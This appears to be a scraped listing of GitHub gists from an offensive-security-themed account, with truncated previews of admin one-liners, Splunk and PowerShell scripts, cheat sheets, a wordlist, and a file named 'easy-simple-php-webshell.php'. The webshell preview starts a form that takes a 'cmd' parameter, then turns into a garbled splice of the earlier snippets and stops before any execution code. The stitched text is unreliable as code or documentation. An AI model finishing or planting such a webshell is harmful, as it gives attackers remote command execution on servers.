mrz-secops-offsec jonz-secops

## web-servers.md

      
              1 file
            
          
              936 forks
            
          
              236 comments
            
          
              5964 stars
            
          
                willurd
                / web-servers.md
            
            
              Last active
              May 25, 2024 13:16
            
              
                Big list of http static server one-liners
              
          
    Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
Discussion on reddit.
Python 2.x

$ python -m SimpleHTTPServer 8000

  
## Export-SplunkSearch.ps1
# Conversion of http://docs.splunk.com/Documentation/Splunk/latest/RESTAPI/RESTsearch#search.2Fjobs.2Fexport
# example using curl, to PowerShell with Invoke-RestMethod cmdlet
#
# $ curl -k -u admin:changeme https://localhost:8089/services/search/jobs/export
#        --data-urlencode search="search index=_internal | stats count by sourcetype"
#        -d output_mode=json -d earliest="rt-5m" -d latest="rt"

$cred = Get-Credential

# This will allow for self-signed SSL certs to work

## S3 buckets copy.md

      
              1 file
            
          
              14 forks
            
          
              26 comments
            
          
              81 stars
            
          
                ushu
                / S3 buckets copy.md
            
            
              Created
              October 29, 2013 16:12
            
              
                Copy between S3 buckets w/ different accounts
              
          
    This is a mix between two sources:

http://www.alfielapeter.com/posts/8-transferring-s3-bucket-contents-between-accounts-with-s3cmd
and http://blog.techopsguru.com/2011/12/s3-bucket-copying-with-multiple-accounts.html

basically the first resource is great but didn't work for me: I had to remove the trailing "/*" in the resource string to make it work. I also noticed that setting the policy on the source bucket was sufficient.
In the end these are the exact steps I followed to copy data between two buckets on two accounts
Basically the idea there is:

we allowe the destination account to read the source bucket (in the console for the source account)
we log as the destination and start the copy


## Get-Traceroute.ps1
<#
.SYNOPSIS
An MTR clone for PowerShell.
Written by Tyler Applebaum.
Version 2.1

.LINK
https://gist.github.com/tylerapplebaum/dc527a3bd875f11871e2
http://www.team-cymru.org/IP-ASN-mapping.html#dns

## openssl_commands.md

      
              1 file
            
          
              100 forks
            
          
              6 comments
            
          
              265 stars
            
          
                p3t3r67x0
                / openssl_commands.md
            
            
              Last active
              May 22, 2024 02:19
            
              
                Some list of openssl commands for check and verify your keys
              
          
    openssl

Install

Install the OpenSSL on Debian based systems
sudo apt-get install openssl

  
## jq-cheetsheet.md

      
              1 file
            
          
              168 forks
            
          
              99 comments
            
          
              968 stars
            
          
                olih
                / jq-cheetsheet.md
            
            
              Last active
              May 15, 2024 22:26
            
              
                jq Cheet Sheet
              
          
    Processing JSON using jq

jq is useful to slice, filter, map and transform structured json data.
Installing jq

On Mac OS

brew install jq

  
## infra-secret-management-overview.md

      
              1 file
            
          
              63 forks
            
          
              23 comments
            
          
              417 stars
            
          
                maxvt
                / infra-secret-management-overview.md
            
            
              Last active
              February 28, 2024 20:53
            
              
                Infrastructure Secret Management Software Overview
              
          
    Currently, there is an explosion of tools that aim to manage secrets for automated, cloud native
infrastructure management. Daniel Somerfield did some work classifying the various approaches,
but (as far as I know) no one has made a recent effort to summarize the various tools.
This is an attempt to give a quick overview of what can be found out there. The list is alphabetical.
There will be tools that are missing, and some of the facts might be wrong--I welcome your corrections.
For the purpose, I can be reached via @maxvt on Twitter, or just leave me a comment here.
There is a companion feature matrix of various tools.
Comments are welcome in the same manner.

  
## MatchInfo.format.ps1xml
<Configuration>
  <ViewDefinitions>
    <View>
      <Name>MatchInfo</Name>
       <ViewSelectedBy>
         <TypeName>Microsoft.PowerShell.Commands.MatchInfo</TypeName>
       </ViewSelectedBy>
       <CustomControl>
         <CustomEntries>
           <CustomEntry>

## all.txt

.
..
........
@
*
*.*
*.*.*
ðŸŽ

## easy-simple-php-webshell.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
	# Conversion of http://docs.splunk.com/Documentation/Splunk/latest/RESTAPI/RESTsearch#search.2Fjobs.2Fexport
	# example using curl, to PowerShell with Invoke-RestMethod cmdlet
	#
	# $ curl -k -u admin:changeme https://localhost:8089/services/search/jobs/export
	# --data-urlencode search="search index=_internal \| stats count by sourcetype"
	# -d output_mode=json -d earliest="rt-5m" -d latest="rt"

	$cred = Get-Credential

	# This will allow for self-signed SSL certs to work
	<#
	.SYNOPSIS
	An MTR clone for PowerShell.
	Written by Tyler Applebaum.
	Version 2.1

	.LINK
	https://gist.github.com/tylerapplebaum/dc527a3bd875f11871e2
	http://www.team-cymru.org/IP-ASN-mapping.html#dns
	<Configuration>
	<ViewDefinitions>
	<View>
	<Name>MatchInfo</Name>
	<ViewSelectedBy>
	<TypeName>Microsoft.PowerShell.Commands.MatchInfo</TypeName>
	</ViewSelectedBy>
	<CustomControl>
	<CustomEntries>
	<CustomEntry>
	<html>
	<body>
	<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
	<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
	<input type="SUBMIT" value="Execute">
	</form>
	<pre>
	<?php
	if(isset($_GET['cmd']))
	{